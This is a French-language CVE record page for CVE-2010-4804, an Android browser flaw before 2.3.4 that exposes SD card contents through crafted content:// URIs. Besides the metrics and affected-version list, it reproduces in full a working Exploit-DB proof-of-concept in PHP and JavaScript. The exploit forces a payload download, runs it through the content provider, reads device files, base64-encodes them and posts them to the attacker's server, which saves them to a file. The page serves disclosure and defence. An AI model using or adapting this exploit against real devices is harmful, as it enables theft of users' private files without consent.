CVE-2010-4804
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Descriptions du CVE
The Android browser in Android before 2.3.4 allows remote attackers to obtain SD card contents via crafted content:// URIs, related to (1) BrowserActivity.java and (2) BrowserSettings.java in com/android/browser/.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Exposure of Sensitive Information to an Unauthorized Actor The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 4.3 | AV:N/AC:M/Au:N/C:P/I:N/A:N | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 18164
Date de publication : 2011-11-27 23h00 +00:00
Auteur : Thomas Cannon
EDB Vérifié : No
<?php
/*
* Description: Android 'content://' URI Multiple Information Disclosure Vulnerabilities
* Bugtraq ID: 48256
* CVE: CVE-2010-4804
* Affected: Android < 2.3.4
* Author: Thomas Cannon
* Discovered: 18-Nov-2010
* Advisory: http://thomascannon.net/blog/2010/11/android-data-stealing-vulnerability/
*
* Filename: poc.php
* Instructions: Specify files you want to upload in filenames array. Host this php file
* on a server and visit it using the Android Browser. Some builds of Android
* may require adjustments to the script, for example when a German build was
* tested it downloaded the payload as .htm instead of .html, even though .html
* was specified.
*
* Tested on: HTC Desire (UK Version) with Android 2.2
*/
// List of the files on the device that we want to upload to our server
$filenames = array("/proc/version","/sdcard/img.jpg");
// Determine the full URL of this script
$protocol = $_SERVER["HTTPS"] == "on" ? "https" : "http";
$scripturl = $protocol."://".$_SERVER["HTTP_HOST"].$_SERVER["SCRIPT_NAME"];
// Stage 0: Display introduction text and a link to start the PoC.
function stage0($scripturl) {
echo "<b>Android < 2.3.4</b><br>Data Stealing Web Page<br><br>Click: <a href=\"$scripturl?stage=1\">Malicious Link</a>";
}
// Stage 1: Redirect to Stage 2 which will force a download of the HTML/JS payload, then a few seconds later redirect
// to the payload. We load the payload using a Content Provider so that the JavaScript is executed in the
// context of the local device - this is the vulnerability.
function stage1($scripturl) {
echo "<body onload=\"setTimeout('window.location=\'$scripturl?stage=2\'',1000);setTimeout('window.location=\'content://com.android.htmlfileprovider/sdcard/download/poc.html\'',5000);\">";
}
// Stage 2: Download of payload, the Android browser doesn't prompt for the download which is another vulnerability.
// The payload uses AJAX calls to read file contents and encodes as Base64, then uploads to server (Stage 3).
function stage2($scripturl,$filenames) {
header("Cache-Control: public");
header("Content-Description: File Transfer");
header("Content-Disposition: attachment; filename=poc.html");
header("Content-Type: text/html");
header("Content-Transfer-Encoding: binary");
?>
<html>
<body>
<script language='javascript'>
var filenames = Array('<?php echo implode("','",$filenames); ?>');
var filecontents = new Array();
function processBinary(xmlhttp) {
data = xmlhttp.responseText; r = ''; size = data.length;
for(var i = 0; i < size; i++) r += String.fromCharCode(data.charCodeAt(i) & 0xff);
return r;
}
function getFiles(filenames) {
for (var filename in filenames) {
filename = filenames[filename];
xhr = new XMLHttpRequest();
xhr.open('GET', filename, false);
xhr.overrideMimeType('text/plain; charset=x-user-defined');
xhr.onreadystatechange = function() { if (xhr.readyState == 4) { filecontents[filename] = btoa(processBinary(xhr)); } }
xhr.send();
}
}
function addField(form, name, value) {
var fe = document.createElement('input');
fe.setAttribute('type', 'hidden');
fe.setAttribute('name', name);
fe.setAttribute('value', value);
form.appendChild(fe);
}
function uploadFiles(filecontents) {
var form = document.createElement('form');
form.setAttribute('method', 'POST');
form.setAttribute('enctype', 'multipart/form-data');
form.setAttribute('action', '<?=$scripturl?>?stage=3');
var i = 0;
for (var filename in filecontents) {
addField(form, 'filename'+i, btoa(filename));
addField(form, 'data'+i, filecontents[filename]);
i += 1;
}
document.body.appendChild(form);
form.submit();
}
getFiles(filenames);
uploadFiles(filecontents);
</script>
</body>
</html>
<?php
}
// Stage 3: Read the file names and contents sent by the payload and write to a file on the server.
function stage3() {
$fp = fopen("files.txt", "w") or die("Couldn't open file for writing!");
fwrite($fp, print_r($_POST, TRUE)) or die("Couldn't write data to file!");
fclose($fp);
echo "Data uploaded to <a href=\"files.txt\">files.txt</a>!";
}
// Select the stage to run depending on the parameter passed in the URL
switch($_GET["stage"]) {
case "1":
stage1($scripturl);
break;
case "2":
stage2($scripturl,$filenames);
break;
case "3":
stage3();
break;
default:
stage0($scripturl);
break;
}
?>
Products Mentioned
Configuraton 0
Google>>Android >> Version To (including) 2.3.3
- Google>>Android >> Version - (Open CPE detail)
- Google>>Android >> Version 1.0 (Open CPE detail)
- Google>>Android >> Version 1.1 (Open CPE detail)
- Google>>Android >> Version 1.5 (Open CPE detail)
- Google>>Android >> Version 1.6 (Open CPE detail)
- Google>>Android >> Version 2.0 (Open CPE detail)
- Google>>Android >> Version 2.0.1 (Open CPE detail)
- Google>>Android >> Version 2.0.3 (Open CPE detail)
- Google>>Android >> Version 2.1 (Open CPE detail)
- Google>>Android >> Version 2.2 (Open CPE detail)
- Google>>Android >> Version 2.2 (Open CPE detail)
- Google>>Android >> Version 2.2.1 (Open CPE detail)
- Google>>Android >> Version 2.2.2 (Open CPE detail)
- Google>>Android >> Version 2.2.3 (Open CPE detail)
- Google>>Android >> Version 2.3 (Open CPE detail)
- Google>>Android >> Version 2.3 (Open CPE detail)
- Google>>Android >> Version 2.3.1 (Open CPE detail)
- Google>>Android >> Version 2.3.2 (Open CPE detail)
- Google>>Android >> Version 2.3.3 (Open CPE detail)
Google>>Android >> Version 1.5
- Google>>Android >> Version 1.5 (Open CPE detail)
Google>>Android >> Version 1.6
- Google>>Android >> Version 1.6 (Open CPE detail)
Google>>Android >> Version 2.1
- Google>>Android >> Version 2.1 (Open CPE detail)
Google>>Android >> Version 2.2
- Google>>Android >> Version 2.2 (Open CPE detail)
- Google>>Android >> Version 2.2 (Open CPE detail)
Google>>Android >> Version 2.2
- Google>>Android >> Version 2.2 (Open CPE detail)
Google>>Android >> Version 2.2.1
- Google>>Android >> Version 2.2.1 (Open CPE detail)
Google>>Android >> Version 2.2.2
- Google>>Android >> Version 2.2.2 (Open CPE detail)
Google>>Android >> Version 2.3
- Google>>Android >> Version 2.3 (Open CPE detail)
Références
http://www.slashgear.com/android-data-theft-exploit-to-be-plugged-in-gingerbread-video-24116054/
Tags : x_refsource_MISC
Tags : x_refsource_MISC
http://android.git.kernel.org/?p=platform/packages/apps/Browser.git%3Ba=commit%3Bh=604a598e1e01bda781600a45e0a971898a582666
Tags : x_refsource_CONFIRM
Tags : x_refsource_CONFIRM
